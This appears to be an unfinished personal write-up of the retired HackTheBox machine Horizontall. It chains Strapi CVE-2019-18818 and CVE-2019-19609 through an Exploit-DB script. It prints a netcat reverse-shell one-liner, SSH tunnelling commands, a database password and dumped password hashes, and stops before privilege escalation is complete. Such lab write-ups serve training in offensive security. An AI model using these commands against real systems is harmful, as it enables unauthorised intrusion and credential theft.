HackTheBox: Horizontall


This is another easy retired box. It has a user-rated difficulty of 3.9, and in terms of difficulty it falls between [[PC]] and [[Topology]].


We have the standard 2 ports open, 22 and 80.

Ill add horizontall and horizontall.htb to /etc/hosts and then do a full script scan.

The machine appears to be running Ubuntu, and the website has an nginx reverse proxy. I will run scanners on it in this order: 1) Nikto 2) Gobuster directory scan 3) Gobuster vhost scan

As they are running, I will check the website by hand.

The website appears to be a website building service.

Nikto did not turn up anything except a false positive for a wordpress config file.

Wappalyzer does not offer much info either.

Okay. Theres virtually nothing on the page except for a "Contact Us" form at the bottom with an email submission and text box. Maybe an SSTI vulnerability? Nevermind, the button doesnt actually do anything.

Gobuster directory scan does not seem to reveal much of anything except /img, /css, and /js.

Okay, now maybe we're getting somewhere. A vhost scan using gobuster and the "dns-jhaddix" wordlist caught a subdomain named "api-prod". When I add this to /etc/hosts and navigate to it I see a page that simply has the text "welcome." For future reference, this is the command I used:

$ gobuster vhost --wordlist=/usr/share/SecLists/Discovery/DNS/dns-Jhaddix.txt --url=http://horizontall.htb -k --append-domain

Now let's try running a directory scan on this subdomain.

NOW we're getting somewhere. This is turning up a ton of stuff, including robots.txt and an /admin page with a login form.

The admin login uses software called "strapi" which I will check for public exploits known when this box released, on August 28th 2021.

Hell yeah, it has known RCE vulnerabilities and a set-password exploit.

Navigating to http://api-prod.horizontall.htb/admin/strapiVersion we see that it is version 3.0.0-beta.17.4. This version has an unauthenticated RCE exploit that has a metasploit module NOW, but it came out after the box was released, so Im not going to use it. Instead Ill use the two CVEs that were public when it released: 1) CVE-2019-18818: weak password recovery mechanism 2) CVE-2019-19609: os command injection.

The os command injection requires you to be authenticated. So the exploit chain essentially consists of abusing the first CVE to change the admin password, then as admin abusing the command injection vuln to get a reverse shell. As I said, I COULD do this with metasploit, but that's not the intended route. So step 1 is researching how to abuse the password reset.

Its funny, because everything about this exploit online is from August 29th, so you know that its all there because of this box which released on august 28th.

This blog post here was from 2019 and appears to demonstrate the explot: (https://thatsn0tmysite.wordpress.com/2019/11/15/x05/). Im going to follow this. But Im going to spend the extra time and not just follow it in the sense of using the code he used, but in walking through his entire process of figuring out the exploit. Basically, when he wrote this, the CVE for password resets was already known, but there was no real proof-of-concept code available.

First he checked the version like I did to make sure it was vulnerable, and it was. Then he researched the CVE on github and looked at the changelog for the patch here: (https://github.com/strapi/strapi/pull/4443/files/e0424d4b880831dd643afff9c6ba475acdbae0be).

Okay. Im going to pause here and see if I can figure it out for myself. It's surprisingly hard to figure out what the actual exploit is, because all the CVE's just say it "has a weak password recovery mechanism"... that doesn't tell me a whole lot. But looking at the changelog, this was singled out as the vulnerable piece of code:

const admin = await strapi
	.query('administrator', 'admin')
	.findOne({ resetPasswordToken: code });

it looks to me like this code is setting up a SQL query of some sort, so I suspect the actual exploit is SQL injection. It's probably doing some sort of query with AND resetPasswordToken = '<code here>'. So possibly if I just do ' OR 1=1; I could bypass the token.

Ah, fuck it, I wasnt getting anywhere with that so I just checked the blog post. Turns out I was way off anyway. I still dont really know how he discovered this, but reading his proof of concept code, all it does is send a POST request with JSON data containing the victim email to the site root, and then sending another post request with JSON containing empty brackets as the code, and the password. Ill do it by hand in the terminal.

From fucking around with the "reset password" link I know the admin email is just admin@horizontall.htb, and that's really all the info I need to do this:

I actually had no luck with it and kept getting 404 errors. Im not sure why; from what I can tell I was doing exactly what the exploit code does. I eventually caved and just used the python3 exploit from here: (https://www.exploit-db.com/exploits/50239). This worked:

$ python3 50239.py http://api-prod.horizontall.htb
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit

[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIs.....

$> whoami
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output

$> rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f

Okay, it worked. Now I can sign in as admin with the password "SuperStrongPassword1", but more importantly, I got a reverse shell using the exploit's RCE ability. I kind of cheated by using that, but oh well. Now I have a shell which I will upgrade the usual way, see my other writeups or the internet for how to do that.

Privilege escalation

No interesting SUIDs, and I cant run sudo -l because I need a password.

I am in as user "strapi". There is one directory in /home, and that is "developer". I first get the user flag here.

Next Ill upload my usual tools, linpeas and pspy.

Picking up where I left off: Privilege Escalation

Okay. Had a different hunch on where to look this time around, given that I dont remember seeing much interesting the other day when I ran linpeas or pspy. I have 25 minutes before I have to leave for the gym so Im gonna try and speedrun rooting this thing.

This time Im looking at the output of netstat for internal ports open. Here's what we get:

strapi@horizontall:~/myapi$ netstat -punta
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0*               LISTEN      -                   
tcp        0      0    *               LISTEN      -                   
tcp        0      0    *               LISTEN      -                   
tcp        0      0*               LISTEN      1915/node /usr/bin/ 
tcp        0      0*               LISTEN      -                   
tcp        0      2        ESTABLISHED 2004/nc             
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0              ESTABLISHED -                   
strapi@horizontall:~/myapi$ w
 23:25:50 up 4 min,  0 users,  load average: 0.07, 0.16, 0.08
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT

You can see we actually have MULTIPLE services that are only listening internally: 1) mysql on 3306 2) something on 1337 (WTF is this? Not sure how to read the netstat output well enough to know for sure) 3) Mystery service on 8000. If I remember correctly this is usually an internal admin page.

Curling port 8000 from inside the machine confirms that it IS some sort of HTTP service. Let me see if I can add an SSH key to strapi's home dir and SSH in for a more reliable shell.

I can! cool. NOW let's see if I can tunnel that site on port 8000 out through a SOCKS proxy. Im doing basically the same procedure as in [[PC]], but also using an id_rsa key. I go into firefox and configure it to use a SOCKS v5 proxy, then launch it using

$ ssh -i ./id_rsa -D 8080 -N strapi@horizontall.htb

Then I navigate to the page using the url

However, it looks like this may have been a dead end; this seems to just be a default page for the "laravel" software the web app is running, not an admin page. It was worth checking though.

From checking the page, it looks like THIS page is just the api-prod subdomain, not anything interesting. I guess the reason it's listening only internally is because nginx acts as a reverse proxy for it. Okay.

That only leaves the MySQL service running, so this will probably be a matter of finding credentials and getting hashes out of it. Probably straightforward enough.

It was still cool to use that SSH tunneling trick again.

Also, another obvious but cool trick: When I ssh into strapi with the key that I planted, it goes in with the sh shell, which just has $ as a prompt. To "upgrade" all you have to do is type bash.

Remember to renew the timer on this one so that HTB doesnt shut it down and make me have to plant the SSH key again.

Im out of time, but it should be relatively easy to find the database password by recursive grep. I already grepped for "passw" and saved it to a file "grep_pass" to sort through later. I already saw mention of database in there.

Ah, okay. Look at this config JSON file "database.json":

  "defaultConnection": "default",
  "connections": {
    "default": {
      "connector": "strapi-hook-bookshelf",
      "settings": {
        "client": "mysql",
        "host": "${process.env.DATABASE_HOST || ''}",
        "port": "${process.env.DATABASE_PORT || 27017}",
        "srv": "${process.env.DATABASE_SRV || false}",
        "database": "${process.env.DATABASE_NAME || 'strapi'}",
        "username": "${process.env.DATABASE_USERNAME || ''}",
        "password": "${process.env.DATABASE_PASSWORD || ''}",
        "ssl": "${process.env.DATABASE_SSL || false}"
      "options": {
        "ssl": "${process.env.DATABASE_SSL || false}",
        "authenticationDatabase": "${process.env.DATABASE_AUTHENTICATION_DATABASE || ''}"

It's apparently storing the credentials in environment variables. The strapi instance you get a shell as has different env than the one you SSH into, so I got another reverse shell and saved the env output to a file, then transferred it back to my own machine for later analysis. But right now I have to go to work.

Actually there's nothing about DB creds in the revshell's env output.

ooooohhhhhh.... We're in a container and I didnt even realize. Do we have to escape?

Coming back to it

I think I have to pivot to the "developer" user. But not quite sure how. In the meantime Im going to zip up the "myapi" dir on victim and transfer it to my machine for deobfuscation, and hopefully find some creds.

Why did that take me so fucking long to figure out? I had a major retard moment. A prolonged retard moment. Anyway, I finally found what I was looking for at /opt/strapi/myapi/config/environments/development/database.json:

  "defaultConnection": "default",
  "connections": {
    "default": {
      "connector": "strapi-hook-bookshelf",
      "settings": {
        "client": "mysql",
        "database": "strapi",
        "host": "",
        "port": 3306,
        "username": "developer",
        "password": "#J!:F9Zt2u"
      "options": {}

that was embarrassing. Oh well, better late than never I guess. Let's use these credentials but FIRST, let me try to SSH in with those creds, developer:#J!:F9Zt2u

Finally got a mysql shell:

$ mysql -u developer --password strapi
Enter password: (#J!:F9Zt2u)
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 27
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.


From which we can obtain:

mysql> select User, authentication_string from user;
| User             | authentication_string                     |
| root             |                                           |
| debian-sys-maint | *864892F451E37073B4B4F3CE01C26A02C3EFE03B |
| developer        | *FFE7D25121423869EB3DCC48D3E8C99C6E3530A7 |

This is basically useless though. I already have "developer's" mysql password, and john cant crack these as they are anyway. Ill come back if nothing else turns up.

But in the "strapi" database we see this in the "strapi_administrator" table:

mysql> select username, password from strapi_administrator;
| username | password                                                     |
| admin    | $2a$10$q4uZaPcZvWohCh6xVwXqfeeo0IX.lF.EnMRGcmaRKh8l8WPNVZwWO |

THIS looks potentially crackable.

Taking fucking ages to run... probably not it.

Consulting guided mode

Okay, the guided mode hint mentions the website on internal port 8000, so I guess I was on to something earlier. Let me go back to that.

Again, I tunnel the site to my own browser using

ssh -i ./id_rsa -D 8080 -N strapi@horizontall.htb